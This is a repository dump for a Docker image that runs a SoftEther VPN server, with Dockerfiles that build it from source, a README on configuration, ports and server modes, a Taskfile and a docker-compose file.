13 | | `$LOG_LEVEL` | Define the log level for the application. | `String`
`enum("panic", "fatal", "warn", "info", "debug", "trace")` | `false` | info |
14 | | `$ENV_FILE` | Environment files to inject. | `StringSlice` | `false` | |
15 |
16 | ### DHCP Server
17 |
18 | | Flag / Environment | Description | Type | Required | Default |
19 | |---------------- | --------------- | --------------- | --------------- | --------------- |
20 | | `$DHCP_SERVER_TEMPLATE` | Template location for the DHCP server. | `String` | `false` | /etc/template/dnsmasq.conf.tmpl |
21 | | `$DHCP_SERVER_LEASE` | DHCP server lease time for clients. | `String` | `false` | 12h |
22 | | `$DHCP_SERVER_SEND_GATEWAY` | Whether to send the default gateway to the client. Sometimes you do not want to proxy traffic through the network, rather just establish a connection to the VPN network. | `Bool` | `false` | false |
23 | | `$DHCP_SERVER_GATEWAY` | Set the gateway option for the underlying DNS server. | `String` | `false` | CIDR address range start |
24 | | `$DHCP_SERVER_FORWARDING_ZONE` | Set forwarding-zone DNS addresses for the DHCP server. | `StringSlice` | `false` | "8.8.8.8", "8.8.4.4" |
25 |
26 | ### Health
27 |
28 | | Flag / Environment | Description | Type | Required | Default |
29 | |---------------- | --------------- | --------------- | --------------- | --------------- |
30 | | `$HEALTH_CHECK_INTERVAL` | Health check interval to the upstream server in duration. | `Duration` | `false` | 10m |
31 | | `$HEALTH_DHCP_SERVER_ADDRESS` | Upstream DHCP server address for doing health checks. | `String` | `false` | CIDR address range start |
32 | | `$HEALTH_ENABLE_PING` | Whether to enable the ping check or not. | `Bool` | `false` | false |
33 |
34 | ### Linux Bridge
35 |
36 | | Flag / Environment | Description | Type | Required | Default |
37 | |---------------- | --------------- | --------------- | --------------- | --------------- |
38 | | `$LINUX_BRIDGE_INTERFACE_NAME` | Interface name for the resulting communication bridge interface. | `String` | `false` | br100 |
39 | | `$LINUX_BRIDGE_UPSTREAM_INTERFACE` | Interface name for the upstream parent network interface to bridge to, this interface should provide a DHCP server to handle the clients. | `String` | `false` | eth0 |
40 | | `$LINUX_BRIDGE_USE_DHCP` | Use the upstream DHCP server to get ip for the bridge interface. | `Bool` | `false` | false |
41 | | `$LINUX_BRIDGE_STATIC_IP` | Use a static IP for the bridge interface. | `String` | `false` | |
42 |
43 | ### Server
44 |
45 | | Flag / Environment | Description | Type | Required | Default |
46 | |---------------- | --------------- | --------------- | --------------- | --------------- |
47 | | `$SERVER_MODE` | Server mode changes the behavior of the container. | `String`
`enum("dhcp", "bridge")` | `true` | |
48 | | `$SERVER_CIDR_ADDRESS` | CIDR address of the server. | `String` | `false` | 10.0.0.0/24 |
49 |
50 | ### SoftEther
51 |
52 | | Flag / Environment | Description | Type | Required | Default |
53 | |---------------- | --------------- | --------------- | --------------- | --------------- |
54 | | `$SOFTETHER_TEMPLATE` | Template location for the SoftEtherVPN server. | `String` | `false` | /etc/template/vpn_server.config.tmpl |
55 | | `$SOFTETHER_TAP_INTERFACE` | Interface name for SoftEther and the server to bind to as a tap device. | `String` | `false` | soft |
56 | | `$SOFTETHER_DEFAULT_HUB` | Default hub name for SoftEtherVPN server. | `String` | `false` | DEFAULT |
57 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | # syntax=docker/dockerfile-upstream:master-labs
2 | FROM alpine:latest as builder
3 |
4 | ARG TARGETOS
5 | ARG TARGETARCH
6 | ARG TARGETVARIANT
7 |
8 | ENV REPOSITORY https://github.com/SoftEtherVPN/SoftEtherVPN.git
9 |
10 | WORKDIR /tmp/softether
11 | ADD --keep-git-dir=true ${REPOSITORY} /tmp/softether
12 |
13 | RUN \
14 | apk --no-cache --no-progress update && \
15 | apk --no-cache --no-progress upgrade && \
16 | # Install build dependencies
17 | apk --no-cache --no-progress --virtual .build-deps add git libgcc libstdc++ gcc musl-dev libc-dev g++ ncurses-dev libsodium-dev \
18 | readline-dev openssl-dev cmake make zlib-dev && \
19 | # Init submodules
20 | git submodule init && git submodule update && \
21 | # Build
22 | if [ "${TARGETARCH}" == "arm64" ]; then echo "Forcing to use neon on arm64 platform manually."; sed -ir 's|set(BLAKE2_SRC_PATH $,${TOP_DIRECTORY}/3rdparty/BLAKE2/sse,${TOP_DIRECTORY}/3rdparty/BLAKE2/ref>)|set(BLAKE2_SRC_PATH ${TOP_DIRECTORY}/3rdparty/BLAKE2/neon)|' ./src/Cedar/CMakeLists.txt; sed -ir 's|set(BLAKE2_SRC $,${BLAKE2_SRC_PATH}/blake2s.c,${BLAKE2_SRC_PATH}/blake2s-ref.c>)|set(BLAKE2_SRC ${BLAKE2_SRC_PATH}/blake2s-neon.c)|' ./src/Cedar/CMakeLists.txt; fi && \
23 | export USE_MUSL=YES && ./configure && make --silent -C build && make --silent -C build install
24 |
25 | FROM alpine:latest
26 |
27 | ARG TARGETOS
28 | ARG TARGETARCH
29 | ARG TARGETVARIANT
30 |
31 | COPY --from=builder /tmp/softether/build/libcedar.so /usr/lib
32 | COPY --from=builder /tmp/softether/build/libmayaqua.so /usr/lib
33 | COPY --from=builder /usr/local/libexec/softether/vpnserver/ /usr/local/libexec/softether/vpnserver/
34 | COPY --from=builder /usr/local/libexec/softether/vpncmd/ /usr/local/libexec/softether/vpncmd/
35 | COPY --from=builder /usr/local/bin/vpnserver /usr/bin/softether-vpnsrv
36 | COPY --from=builder /usr/local/bin/vpncmd /usr/bin/softether-vpncmd
37 |
38 | RUN \
39 | # Reintroduce necessary runtime libraries
40 | apk add --no-cache --virtual .run-deps \
41 | libcap libcrypto3 libssl3 ncurses-libs readline su-exec zlib-dev dhclient libsodium-dev dnsmasq iptables tini && \
42 | # Link Libraries to Binary
43 | ln -s /usr/local/libexec/softether/vpnserver/ /etc/softether && \
44 | mkdir -p /conf && \
45 | echo "tun" >> /etc/modules && \
46 | echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf && \
47 | mkdir -p /dev/net && \
48 | mknod /dev/net/tun c 10 200 && \
49 | mkdir -p /docker.init.d
50 |
51 | # Advise to open necassary ports
52 | EXPOSE 1443/tcp 992/tcp 1194/tcp 1194/udp 5555/tcp 500/udp 4500/udp 1701/udp
53 |
54 | # Advise to create necassary volumes
55 | VOLUME [ "/conf" ]
56 |
57 | # Move host file system
58 | COPY ./.docker/hostfs /
59 | COPY --chmod=777 ./dist/pipe-${TARGETOS}-${TARGETARCH}${TARGETVARIANT} /usr/bin/pipe
60 |
61 | # Set working directory back
62 | WORKDIR /
63 |
64 | ENTRYPOINT ["tini", "pipe"]
65 |
--------------------------------------------------------------------------------
/Dockerfile-stable:
--------------------------------------------------------------------------------
1 | # need to be renewed, obsolute for now
2 | FROM alpine:latest
3 |
4 | ARG TARGETOS
5 | ARG TARGETARCH
6 | ARG TARGETVARIANT
7 |
8 | ENV REPOSITORY https://github.com/SoftEtherVPN/SoftEtherVPN.git
9 |
10 | COPY .tags /tmp/.tags
11 |
12 | RUN \
13 | apk --no-cache --no-progress update && \
14 | apk --no-cache --no-progress upgrade && \
15 | # Install supervisor
16 | apk --no-cache --no-progress add tini && \
17 | mkdir -p /conf && \
18 | # Install build dependencies
19 | apk --no-cache --no-progress --virtual .build-deps add git libgcc libstdc++ gcc musl-dev libc-dev g++ ncurses-dev libsodium-dev \
20 | readline-dev openssl-dev cmake make zlib-dev && \
21 | # Grab and build Softether from GitHub
22 | git clone ${REPOSITORY} /tmp/softether && \
23 | cd /tmp/softether && \
24 | # Checkout Latest Tag
25 | git checkout "$(cat /tmp/.tags)" && \
26 | # init submodules
27 | git submodule init && git submodule update && \
28 | # Build
29 | if [ "${TARGETARCH}" == "arm64" ]; then echo "Forcing to use neon on arm64 platform manually."; sed -ir 's|set(BLAKE2_SRC_PATH $,${TOP_DIRECTORY}/3rdparty/BLAKE2/sse,${TOP_DIRECTORY}/3rdparty/BLAKE2/ref>)|set(BLAKE2_SRC_PATH ${TOP_DIRECTORY}/3rdparty/BLAKE2/neon)|' ./src/Cedar/CMakeLists.txt; sed -ir 's|set(BLAKE2_SRC $,${BLAKE2_SRC_PATH}/blake2s.c,${BLAKE2_SRC_PATH}/blake2s-ref.c>)|set(BLAKE2_SRC ${BLAKE2_SRC_PATH}/blake2s-neon.c)|' ./src/Cedar/CMakeLists.txt ; fi && \
30 | export USE_MUSL=YES && ./configure && make --silent -C build && make --silent -C build install && \
31 | cp /tmp/softether/build/libcedar.so /tmp/softether/build/libmayaqua.so /usr/lib && \
32 | # Removing build extensions
33 | apk del .build-deps && apk del --no-cache --purge && \
34 | rm -rf /tmp/softether && rm -rf /var/cache/apk/* && \
35 | # Deleting unncessary extensions
36 | rm -rf /usr/local/bin/vpnbridge \
37 | /usr/local/libexec/softether/vpnbridge && \
38 | # Reintroduce necassary runtime libraries
39 | apk add --no-cache --virtual .run-deps \
40 | libcap libcrypto1.1 libssl1.1 ncurses-libs readline su-exec zlib-dev dhclient libsodium-dev && \
41 | # Link Libraries to Binary
42 | ln -s /usr/local/bin/vpnserver /usr/bin/softether-vpnsrv && \
43 | ln -s /usr/local/bin/vpncmd /usr/bin/softether-vpncmd && \
44 | ln -s /usr/local/libexec/softether/vpnserver/ /etc/softether && \
45 | # Install dnsmasq and create the tun network adapter.
46 | apk add --no-cache dnsmasq iptables && \
47 | echo "tun" >> /etc/modules && \
48 | echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf && \
49 | mkdir -p /dev/net && \
50 | mknod /dev/net/tun c 10 200 && \
51 | mkdir -p /docker.init.d && \
52 | rm -rf /tmp/*
53 |
54 | # Advise to open necassary ports
55 | EXPOSE 1443/tcp 992/tcp 1194/tcp 1194/udp 5555/tcp 500/udp 4500/udp 1701/udp
56 |
57 | # Adviste to create necassary volumes
58 | VOLUME [ "/conf" ]
59 |
60 | # Move host file system
61 | COPY ./.docker/hostfs /
62 | COPY ./dist/pipe-${TARGETOS}-${TARGETARCH}${TARGETVARIANT} /usr/bin/pipe
63 |
64 | RUN chmod +x /usr/bin/pipe
65 |
66 | # Set working directory back
67 | WORKDIR /
68 |
69 | ENTRYPOINT ["tini", "pipe"]
70 |
--------------------------------------------------------------------------------
/Dockerfile-ubuntu:
--------------------------------------------------------------------------------
1 | # syntax=docker/dockerfile-upstream:master-labs
2 | FROM ubuntu:latest AS builder
3 |
4 | ARG TARGETOS
5 | ARG TARGETARCH
6 | ARG TARGETVARIANT
7 |
8 | ENV REPOSITORY https://github.com/SoftEtherVPN/SoftEtherVPN.git
9 |
10 | WORKDIR /tmp/softether
11 | ADD --keep-git-dir=true ${REPOSITORY} /tmp/softether
12 |
13 | RUN \
14 | # Install build tools
15 | apt-get update -y && \
16 | apt-get install git g++ make libssl-dev cmake pkg-config \
17 | libsodium-dev libncurses5-dev zlib1g-dev libreadline-dev \
18 | ca-certificates -y --no-install-recommends && \
19 | # Init submodules
20 | git submodule update --init --recursive && \
21 | # Build
22 | if [ "${TARGETARCH}" == "arm64" ]; then echo "Forcing to use neon on arm64 platform manually."; sed -ir 's|set(BLAKE2_SRC_PATH $,${TOP_DIRECTORY}/3rdparty/BLAKE2/sse,${TOP_DIRECTORY}/3rdparty/BLAKE2/ref>)|set(BLAKE2_SRC_PATH ${TOP_DIRECTORY}/3rdparty/BLAKE2/neon)|' ./src/Cedar/CMakeLists.txt; sed -ir 's|set(BLAKE2_SRC $,${BLAKE2_SRC_PATH}/blake2s.c,${BLAKE2_SRC_PATH}/blake2s-ref.c>)|set(BLAKE2_SRC ${BLAKE2_SRC_PATH}/blake2s-neon.c)|' ./src/Cedar/CMakeLists.txt; fi && \
23 | ./configure && make --silent -C build && make --silent -C build install
24 |
25 | # Second stage
26 | FROM ubuntu:latest
27 |
28 | ARG TARGETOS
29 | ARG TARGETARCH
30 | ARG TARGETVARIANT
31 |
32 | COPY --from=builder /tmp/softether/build/libcedar.so /usr/lib
33 | COPY --from=builder /tmp/softether/build/libmayaqua.so /usr/lib
34 | COPY --from=builder /usr/local/libexec/softether/vpnserver/ /usr/local/libexec/softether/vpnserver/
35 | COPY --from=builder /usr/local/libexec/softether/vpncmd/ /usr/local/libexec/softether/vpncmd/
36 | COPY --from=builder /usr/local/bin/vpnserver /usr/bin/softether-vpnsrv
37 | COPY --from=builder /usr/local/bin/vpncmd /usr/bin/softether-vpncmd
38 |
39 | RUN \
40 | # Installing libs and packages
41 | apt-get update -y && \
42 | apt-get install tini libsodium-dev libreadline-dev \
43 | iptables iproute2 net-tools dnsmasq bridge-utils isc-dhcp-client -y --no-install-recommends && \
44 | # Cleaning apt cache
45 | apt-get clean -y && \
46 | rm -rf /var/lib/apt/lists/* && \
47 | mkdir -p /conf && \
48 | ln -s /usr/local/libexec/softether/vpnserver/ /etc/softether && \
49 | # Create the tun network adapter
50 | echo "tun" >> /etc/modules && \
51 | echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf && \
52 | mkdir -p /dev/net && \
53 | mknod /dev/net/tun c 10 200 && \
54 | mkdir -p /docker.init.d
55 |
56 | # Advise to open necessary ports
57 | EXPOSE 1443/tcp 992/tcp 1194/tcp 1194/udp 5555/tcp 500/udp 4500/udp 1701/udp
58 |
59 | # Advise to create necessary volumes
60 | VOLUME [ "/conf" ]
61 |
62 | # Move host file system
63 | COPY ./.docker/hostfs /
64 | COPY --chmod=777 ./dist/pipe-${TARGETOS}-${TARGETARCH}${TARGETVARIANT} /usr/bin/pipe
65 |
66 | # Set working directory back
67 | WORKDIR /
68 |
69 | ENTRYPOINT ["tini", "pipe"]
70 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # cenk1cenk2/softether-vpnsrv
2 |
3 | [](https://gitlab.kilic.dev/docker/softether-vpnsrv/-/commits/master) [](https://hub.docker.com/repository/docker/cenk1cenk2/softether-vpnsrv) [](https://hub.docker.com/repository/docker/cenk1cenk2/softether-vpnsrv) [](https://hub.docker.com/repository/docker/cenk1cenk2/softether-vpnsrv) [](https://github.com/cenk1cenk2/softether-vpnsrv)
4 |
5 | ## Description
6 |
7 | SoftEther VPN is a free open-source, cross-platform, multi-protocol VPN client and VPN server software developed as part of Daiyuu Nobori's master's thesis research at the University of Tsukuba. VPN protocols such as Wireguard, SSL VPN, L2TP/IPsec, OpenVPN, and Microsoft Secure Socket Tunneling Protocol are provided in a single VPN server.
8 |
9 | This container runs a SoftEther VPN Server bundled together with a configuration manager that enables to use of either a DNSMASQ DHCP server to distribute the IPs or bridging to an existing network interface upstream. It utilizes a Linux virtual ethernet TAP device to distribute the network traffic.
10 |
11 | [Read more](https://www.softether.org/) about SoftEther in the official documentation.
12 |
13 | ---
14 |
15 | - [CLI Documentation](./CLI.md)
16 |
17 |
18 |
19 | - [Features](#features)
20 | - [Efficient](#efficient)
21 | - [Up-to-Date](#up-to-date)
22 | - [Versioning](#versioning)
23 | - [Health Check](#health-check)
24 | - [Graceful Shutdown](#graceful-shutdown)
25 | - [Flavors](#flavors)
26 | - [Architecture](#architecture)
27 | - [Environment Variables](#environment-variables)
28 | - [CLI](#cli)
29 | - [DHCP Server](#dhcp-server)
30 | - [Health](#health)
31 | - [Linux Bridge](#linux-bridge)
32 | - [Server](#server)
33 | - [SoftEther](#softether)
34 | - [Setup](#setup)
35 | - [Volumes](#volumes)
36 | - [Hooks](#hooks)
37 | - [SoftEther Configuration](#softether-configuration)
38 | - [DNSMASQ Configuration](#dnsmasq-configuration)
39 | - [Logs](#logs)
40 | - [Ports](#ports)
41 | - [Server Mode](#server-mode)
42 | - [DHCP](#dhcp)
43 | - [Bridge](#bridge)
44 | - [Permissions](#permissions)
45 | - [Deploy](#deploy)
46 | - [Interface](#interface)
47 | - [Command Line Interface](#command-line-interface)
48 | - [SoftEther VPN Client](#softether-vpn-client)
49 |
50 |
51 |
52 | ---
53 |
54 | ## Features
55 |
56 | ### Efficient
57 |
58 | Build on top of Alpine Linux as a base, ~30MB image size, ~15-20MB RAM Usage while standby.
59 |
60 | ### Up-to-Date
61 |
62 | This repository is always up to date tracking the [default](https://github.com/SoftEtherVPN/SoftEtherVPN) branch of the SoftEtherVPN repository on GitHub. It checks the main repository monthly since there are no frequent updates anymore, and if a new release has been matched it will trigger the build process.
63 |
64 | It always builds the application from the source, and while doing that the dependencies will also be updated.
65 |
66 | ### Versioning
67 |
68 | The Docker images are tagged with matching versions to the original repository.
69 |
70 | The `latest` tag is reserved for the current snapshot of the default branch on the upstream SoftEtherVPN repository.
71 |
72 | ### Health Check
73 |
74 | Periodical health check for monitoring the processes as well as pinging the DHCP server has been implemented. If one of the health checks fails the container will terminate itself. You can use the `docker` restart feature to start the container back on failure.
75 |
76 | ### Graceful Shutdown
77 |
78 | At shutdown or crashes, the container cleans up all the created virtual ethernet interfaces, and TAP devices, and undoes all the system changes.
79 |
80 | This is a best-effort process and it can not guarantee to finish this process successfully.
81 |
82 | ## Flavors
83 |
84 | | Image Format | Description |
85 | | ---------------- | ----------------------------------------------------------- |
86 | | latest | Latest build of upstream with Alpine Linux as the base. |
87 | | latest-ubuntu | Latest build of upstream with Ubuntu as the base. |
88 | | v\d.\d.\d | Specific tag of the upstream with Alpine Linux as the base. |
89 | | v\d.\d.\d-ubuntu | Specific tag of the upstream with Ubuntu as the base. |
90 |
91 | ### Architecture
92 |
93 | This image is built for `linux-amd64` and `linux-arm64` architectures.
94 |
95 | ## Environment Variables
96 |
97 | Options for DHCP server or Linux bridge interfaces get activated when that server mode is activated through `$SERVER_MODE`.
98 |
99 |
100 |
101 | ### CLI
102 |
103 | | Flag / Environment | Description | Type | Required | Default |
104 | |---------------- | --------------- | --------------- | --------------- | --------------- |
105 | | `$LOG_LEVEL` | Define the log level for the application. | `String`
`enum("panic", "fatal", "warn", "info", "debug", "trace")` | `false` | info |
106 | | `$ENV_FILE` | Environment files to inject. | `StringSlice` | `false` | |
107 |
108 | ### DHCP Server
109 |
110 | | Flag / Environment | Description | Type | Required | Default |
111 | |---------------- | --------------- | --------------- | --------------- | --------------- |
112 | | `$DHCP_SERVER_TEMPLATE` | Template location for the DHCP server. | `String` | `false` | /etc/template/dnsmasq.conf.tmpl |
113 | | `$DHCP_SERVER_LEASE` | DHCP server lease time for clients. | `String` | `false` | 12h |
114 | | `$DHCP_SERVER_SEND_GATEWAY` | Whether to send the default gateway to the client. Sometimes you do not want to proxy traffic through the network, rather just establish a connection to the VPN network. | `Bool` | `false` | false |
115 | | `$DHCP_SERVER_GATEWAY` | Set the gateway option for the underlying DNS server. | `String` | `false` | CIDR address range start |
116 | | `$DHCP_SERVER_FORWARDING_ZONE` | Set forwarding-zone DNS addresses for the DHCP server. | `StringSlice` | `false` | "8.8.8.8", "8.8.4.4" |
117 |
118 | ### Health
119 |
120 | | Flag / Environment | Description | Type | Required | Default |
121 | |---------------- | --------------- | --------------- | --------------- | --------------- |
122 | | `$HEALTH_CHECK_INTERVAL` | Health check interval to the upstream server in duration. | `Duration` | `false` | 10m |
123 | | `$HEALTH_DHCP_SERVER_ADDRESS` | Upstream DHCP server address for doing health checks. | `String` | `false` | CIDR address range start |
124 | | `$HEALTH_ENABLE_PING` | Whether to enable the ping check or not. | `Bool` | `false` | false |
125 |
126 | ### Linux Bridge
127 |
128 | | Flag / Environment | Description | Type | Required | Default |
129 | |---------------- | --------------- | --------------- | --------------- | --------------- |
130 | | `$LINUX_BRIDGE_INTERFACE_NAME` | Interface name for the resulting communication bridge interface. | `String` | `false` | br100 |
131 | | `$LINUX_BRIDGE_UPSTREAM_INTERFACE` | Interface name for the upstream parent network interface to bridge to, this interface should provide a DHCP server to handle the clients. | `String` | `false` | eth0 |
132 | | `$LINUX_BRIDGE_USE_DHCP` | Use the upstream DHCP server to get ip for the bridge interface. | `Bool` | `false` | false |
133 | | `$LINUX_BRIDGE_STATIC_IP` | Use a static IP for the bridge interface. | `String` | `false` | |
134 |
135 | ### Server
136 |
137 | | Flag / Environment | Description | Type | Required | Default |
138 | |---------------- | --------------- | --------------- | --------------- | --------------- |
139 | | `$SERVER_MODE` | Server mode changes the behavior of the container. | `String`
`enum("dhcp", "bridge")` | `true` | |
140 | | `$SERVER_CIDR_ADDRESS` | CIDR address of the server. | `String` | `false` | 10.0.0.0/24 |
141 |
142 | ### SoftEther
143 |
144 | | Flag / Environment | Description | Type | Required | Default |
145 | |---------------- | --------------- | --------------- | --------------- | --------------- |
146 | | `$SOFTETHER_TEMPLATE` | Template location for the SoftEtherVPN server. | `String` | `false` | /etc/template/vpn_server.config.tmpl |
147 | | `$SOFTETHER_TAP_INTERFACE` | Interface name for SoftEther and the server to bind to as a tap device. | `String` | `false` | soft |
148 | | `$SOFTETHER_DEFAULT_HUB` | Default hub name for SoftEtherVPN server. | `String` | `false` | DEFAULT |
149 |
150 |
151 |
152 | ## Setup
153 |
154 | **You can mount a persistent folder to the configuration volume at `/conf` to persist configuration data.**
155 |
156 | ### Volumes
157 |
158 | If the configuration for the component is missing, it will auto-generate a new configuration file depending on the environment variables the user has passed.
159 |
160 | | Configuration | Location |
161 | | ------------- | ------------------------- |
162 | | SoftEtherVPN | `/conf/vpn_server.config` |
163 | | DNSMASQ | `/conf/dnsmasq.conf` |
164 |
165 | **It will not manipulate the configuration files if the persistent versions of them are found inside the expected folders already. So if you have a persistent configuration file, it is, unfortunately, your responsibility to get it working.**
166 |
167 | ### Hooks
168 |
169 | There are lifetime hooks that can be used as executable scripts to further extend the configuration to your needs at given times while starting the container. These hooks should be executable files that are mounted in a certain location.
170 |
171 | | Hook | Location | Description |
172 | | ------------ | --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------- |
173 | | `post-tasks` | `/docker.init.d/post-tasks` | Will run after configuration of the services has finished, dhcp/bridge setup has been done and just before starting the services themselves. |
174 |
175 | > Remember to use the appropriate shell depending on the base image if you are using shell scripts and take into consideration what applications might be available in the container.
176 |
177 | ### SoftEther Configuration
178 |
179 | The configuration has defaults as follows.
180 |
181 | - The default port at startup will be 1443.
182 | - The default bridge device is set through the generation of the configuration file.
183 | - Please check out the normal process for [SoftEther Setup](https://www.softether.org/4-docs/2-howto/9.L2TPIPsec_Setup_Guide_for_SoftEther_VPN_Server/1.Setup_L2TP%2F%2F%2F%2FIPsec_VPN_Server_on_SoftEther_VPN_Server). SoftEtherVPN server can be configured by using the GUI or the CLI.
184 |
185 | **Please remember that at the initial startup, there is no admin password for managing the server, it is very crucial to set it up as soon as possible.**
186 |
187 | If you are using a persistent configuration file that is not auto-generated through this container, you should be sure that your HUB configuration is bridged properly with the TAP adapter.
188 |
189 | ### DNSMASQ Configuration
190 |
191 | The configuration has defaults as follows.
192 |
193 | - It will auto-generate a `dnsmasq.conf` depending on the environment variables you have provided.
194 | - If you want to additionally want to add configuration you can always mount a folder to `/etc/dnsmasq.d/` and add your custom configuration.
195 |
196 | ### Logs
197 |
198 | The log files can be found on `/etc/softether/server_log`, `/etc/softether/security_log`, `/etc/softether/packet_log` inside the container. So you can mount a folder there to obtain the logs from the SoftEtherVPN server.
199 |
200 | **The auto-generated configuration file will SoftEtherVPN server will have the logging disabled by default.** You can re-enable it through the options of the server.
201 |
202 | If you do not need any kind of logs you can always mount them to `/dev/null`.
203 |
204 | ### Ports
205 |
206 | The default ports that the SoftEtherVPN server functions on are as follows.
207 |
208 | ```yaml
209 | - 1443:1443/tcp # softether
210 | - 992:992/tcp # softether alternative
211 | - 5555:5555/tcp # softether alternative
212 | - 1194:1194/udp # openvpn
213 | - 500:500/udp # l2tp IPSec IKE
214 | - 4500:4500/udp # l2tp IPSec
215 | - 1701:1701/tcp # l2tp
216 | ```
217 |
218 | You can disable the alternatives or the ones that you do not need as you like.
219 |
220 | ### Server Mode
221 |
222 | You can select one of to server modes which are `dhcp` or `bridge`.
223 |
224 | #### DHCP
225 |
226 | - `dhcp` mode will start a DNSMASQ DHCP server in the background to handle the incoming DHCP requests. This yields much better performance compared to using the `SecureNAT` provided by SoftEther.
227 | - The configuration file for DNSMASQ will be generated if it is not persistent, with environment variables from the DHCP Server section.
228 | - It will be attached to the given `SOFTETHER_TAP_INTERFACE`. So whenever you do attach a persistent configuration file manually, please be sure that it points to the correct tap interface. The configuration utility will also assign a static IP address to the given interface making it compatible with how DNSMASQ starts up.
229 |
230 | #### Bridge
231 |
232 | - `bridge` mode will create a new bridge adapter and add the TAP adapter and the upstream adapter to it.
233 | - The upstream DHCP server on the upstream adapter interface will be providing the DHCP setup. This will allow you to connect to a local network.
234 | - Performance is abysmal if you are using the bridge adapter or the upstream adapter directly. SoftEtherVPN server behaves the best whenever it goes through a TAP adapter, so that is why there is still a TAP adapter in between.
235 | - Please be sure to set the server CIDR address properly, because this would set the ping health check to the upstream DHCP server which in the case it would not respond will fail the health check of the container.
236 |
237 | ### Permissions
238 |
239 | **This container needs extra Linux capabilities as provided by [thjderjktyrjkt](https://github.com/thjderjktyrjkt), you can find this in the related issue [#20](https://github.com/wryminimum/docker-softether-vpnsrv/issues/20).**
240 |
241 | Basically, it needs the following capabilities to function properly, while it creates a virtual network adapter for communication.
242 |
243 | ```yaml
244 | cap_add:
245 | - SETGID
246 | - SETUID
247 | - NET_ADMIN
248 | - NET_RAW
249 | - NET_BIND_SERVICE
250 | ```
251 |
252 | It also needs to access the `tun` device of the machine which can be added as follows.
253 |
254 | ```yaml
255 | devices:
256 | - /dev/net/tun
257 | ```
258 |
259 | ## Deploy
260 |
261 | You can check out the example setup inside `docker-compose.yml` to see how this container can become operational. Please mind the environment variables for the configuration as well as the section about the configuration files and their generation.
262 |
263 | ## Interface
264 |
265 | If you ever want to interact with the underlying applications you can execute the tasks in the container.
266 |
267 | ### Command Line Interface
268 |
269 | Command-line interface in the container can be accessed through `softether-vpncmd`.
270 |
271 | ## SoftEther VPN Client
272 |
273 | The complementary Docker container for this server can be found [here](https://github.com/cenk1cenk2/softether-vpncli).
274 |
--------------------------------------------------------------------------------
/Taskfile.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # https://taskfile.dev
3 |
4 | version: "3"
5 |
6 | vars:
7 | GO_LD_FLAGS: -w -s
8 | BINARY_DIR: dist
9 | BINARY_NAME: pipe
10 | BINARY_APPEND_OS: true
11 | BINARY_APPEND_ARCH: true
12 |
13 | env:
14 | CGO_ENABLED: 0
15 |
16 | tasks:
17 | install:
18 | desc: Installs the required dependencies on pull.
19 | cmds:
20 | - go mod vendor
21 | sources:
22 | - go.{sum,mod}
23 | generates:
24 | - "vendor/**"
25 |
26 | format:
27 | desc: Formats the current code base.
28 | cmds:
29 | - goimports -w .
30 | - golangci-lint run --fix
31 |
32 | lint:
33 | desc: Lints the codebase with predefined rules.
34 | cmds:
35 | - golangci-lint run
36 | sources:
37 | - "**/*.go"
38 |
39 | update:
40 | desc: Updates all the dependencies to their latest minor version.
41 | cmds:
42 | - go get -u all
43 | - task: tidy
44 |
45 | tidy:
46 | desc: Tidies the go.mod file.
47 | cmds:
48 | - go mod tidy -compat={{ .GO_VERSION }}
49 | - task: install
50 | sources:
51 | - "go.{mod,sum}"
52 |
53 | clean:
54 | desc: Cleans the output binary folder and build cache.
55 | cmds:
56 | - go clean
57 | - rm -f {{ .BINARY_DIR }}
58 |
59 | test:
60 | desc: Tests the given application.
61 | cmds:
62 | - go test -v -p 1 ./...
63 |
64 | build:
65 | desc: Builds the application.
66 | deps:
67 | - task: build.platform
68 | vars:
69 | os: linux
70 | arch: amd64
71 | - task: build.platform
72 | vars:
73 | os: linux
74 | arch: arm64
75 |
76 | build.platform:
77 | internal: true
78 | vars:
79 | binary_output: '{{ .BINARY_DIR }}/{{ .BINARY_NAME }}{{ if .BINARY_APPEND_OS }}-{{ .os }}{{ end }}{{ if .BINARY_APPEND_ARCH }}-{{ .arch }}{{ end }}'
80 | cmds:
81 | - GOOS={{ .os }} GOARCH={{ .arch }} go build -mod=vendor {{- if .GO_LD_FLAGS }} -ldflags="{{ .GO_LD_FLAGS }}"{{- end }} -o {{ .binary_output }}
82 | sources:
83 | - "**/*.go"
84 | - "go.{mod,sum}"
85 | generates:
86 | - "{{ .binary_output }}"
87 |
88 | start:
89 | desc: Starts the given application.
90 | interactive: true
91 | env:
92 | LOG_LEVEL: debug
93 | cmds:
94 | - go run . {{ .CLI_ARGS }}
95 |
96 | docs:
97 | desc: Generates the documentation for the application.
98 | interactive: true
99 | env:
100 | LOG_LEVEL: trace
101 | cmds:
102 | - go run . MARKDOWN_DOC
103 | - go run . MARKDOWN_EMBED
104 |
105 | help:
106 | desc: Generates help for the application.
107 | cmds:
108 | - go run . --help
109 |
110 | docker.build:
111 | desc: Builds the docker container for the application for testing.
112 | cmds:
113 | - docker-compose build
114 | sources:
115 | - "dist/**"
116 | - "Dockerfile*"
117 | - "docker-compose*.yml"
118 |
119 | docker.up:
120 | desc: Runs the docker-compose application.
121 | interactive: true
122 | cmds:
123 | - task: build
124 | - task: docker.build
125 | - docker-compose up
126 |
--------------------------------------------------------------------------------
/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.7"
2 | services:
3 | softether-vpnsrv:
4 | image: cenk1cenk2/softether-vpnsrv:test
5 | build:
6 | context: .
7 | dockerfile: Dockerfile
8 | args:
9 | TARGETOS: linux
10 | TARGETARCH: amd64
11 | env_file: .env
12 | devices:
13 | - /dev/net/tun
14 | ports:
15 | - 1443:1443/tcp
16 | - 992:992/tcp
17 | - 5555:5555/tcp
18 | - 1194:1194/udp
19 | - 500:500/udp
20 | - 4500:4500/udp
21 | - 1701:1701/tcp
22 | network_mode: bridge
23 | volumes:
24 | # Configuration Files
25 | - ./volumes/softether-vpnsrv:/conf
26 | - ./volumes/hooks:/docker.init.d:ro
27 | # Log files
28 | - ./logs/server_log:/etc/softether/server_log
29 | - ./logs/security_log:/etc/softether/security_log
30 | - ./logs/packet_log:/etc/softether/packet_log
31 | cap_add:
32 | - SETGID
33 | - SETUID
34 | - NET_ADMIN
35 | - NET_RAW
